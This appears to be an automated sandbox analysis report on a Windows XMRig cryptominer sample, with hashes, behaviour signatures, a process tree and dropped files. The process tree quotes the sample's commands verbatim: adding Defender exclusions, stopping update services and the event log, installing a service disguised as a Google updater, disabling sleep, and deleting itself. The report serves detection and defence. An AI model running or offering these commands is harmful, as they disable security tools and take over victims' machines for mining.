Analysis

  • max time kernel
    119s
  • max time network
    117s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-11-2024 23:13

General

  • Target

    3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe

  • Size

    5.0MB

  • MD5

    24c7ac428eac29a477c9d2d2d2743e36

  • SHA1

    6220abfbd835e5b57128410e49684ac0d80b37aa

  • SHA256

    3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472

  • SHA512

    157e9d70f6b9242af97f02e46d84a4e2adf34b036f132fb89d7e42198c24032b92c7791353d3a510e7edc562613524cecbb4a72549b850027de9287ffcb965ec

  • SSDEEP

    98304:1Tnmqy701zQ7AEvE/LHnt9FqAnzt2oVxJ0rTqGrY51CDcSiavE:NmRqs9WHt9XRXurTcC4V

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe
    "C:\Users\Admin\AppData\Local\Temp\3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:428
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2476
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1840
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:4912
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:3136
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:5040
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:1296
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:4728
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:4856
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1668
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4956
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:5108
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3092
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
        2⤵
        • Launches sc.exe
        PID:3508
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:2492
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:732
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
        2⤵
        • Launches sc.exe
        PID:3568
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:716
        • C:\Windows\system32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:2412
      • C:\ProgramData\Google\Chrome\updater.exe
        C:\ProgramData\Google\Chrome\updater.exe
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:5116
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1096
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5060
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            3⤵
              PID:2352
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            2⤵
            • Launches sc.exe
            PID:1392
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            2⤵
            • Launches sc.exe
            PID:1132
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            2⤵
            • Launches sc.exe
            PID:1168
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            2⤵
            • Launches sc.exe
            PID:4104
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            2⤵
            • Launches sc.exe
            PID:3420
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4124
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4376
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:2740
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:3648
          • C:\Windows\explorer.exe
            explorer.exe
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2228

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\ProgramData\Google\Chrome\updater.exe

          Filesize

          5.0MB

          MD5

          24c7ac428eac29a477c9d2d2d2743e36

          SHA1

          6220abfbd835e5b57128410e49684ac0d80b37aa

          SHA256

          3b41042f4b96f5e8a5059b6621335995759804180c471116a9caefb957fde472

          SHA512

          157e9d70f6b9242af97f02e46d84a4e2adf34b036f132fb89d7e42198c24032b92c7791353d3a510e7edc562613524cecbb4a72549b850027de9287ffcb965ec

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_30ke20jb.cvv.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/1096-44-0x00000283B6970000-0x00000283B6976000-memory.dmp

          Filesize

          24KB

        • memory/1096-41-0x00000283B6930000-0x00000283B693A000-memory.dmp

          Filesize

          40KB

        • memory/1096-43-0x00000283B6940000-0x00000283B6948000-memory.dmp

          Filesize

          32KB

        • memory/1096-45-0x00000283B6980000-0x00000283B698A000-memory.dmp

          Filesize

          40KB

        • memory/1096-42-0x00000283B6990000-0x00000283B69AA000-memory.dmp

          Filesize

          104KB

        • memory/1096-37-0x00000283B6640000-0x00000283B665C000-memory.dmp

          Filesize

          112KB

        • memory/1096-38-0x00000283B6720000-0x00000283B67D5000-memory.dmp

          Filesize

          724KB

        • memory/1096-39-0x00000283B67E0000-0x00000283B67EA000-memory.dmp

          Filesize

          40KB

        • memory/1096-40-0x00000283B6950000-0x00000283B696C000-memory.dmp

          Filesize

          112KB

        • memory/2228-59-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/2228-49-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/2228-55-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/2228-63-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/2228-62-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/2228-53-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/2228-57-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/2228-60-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/2228-56-0x0000000001310000-0x0000000001330000-memory.dmp

          Filesize

          128KB

        • memory/2228-54-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/2228-51-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/2228-50-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/2228-52-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/2228-58-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/2228-61-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/2476-12-0x000002983A1A0000-0x000002983A1C2000-memory.dmp

          Filesize

          136KB

        • memory/2476-2-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

          Filesize

          2.0MB

        • memory/2476-1-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

          Filesize

          2.0MB

        • memory/2476-15-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

          Filesize

          2.0MB

        • memory/2476-0-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

          Filesize

          2.0MB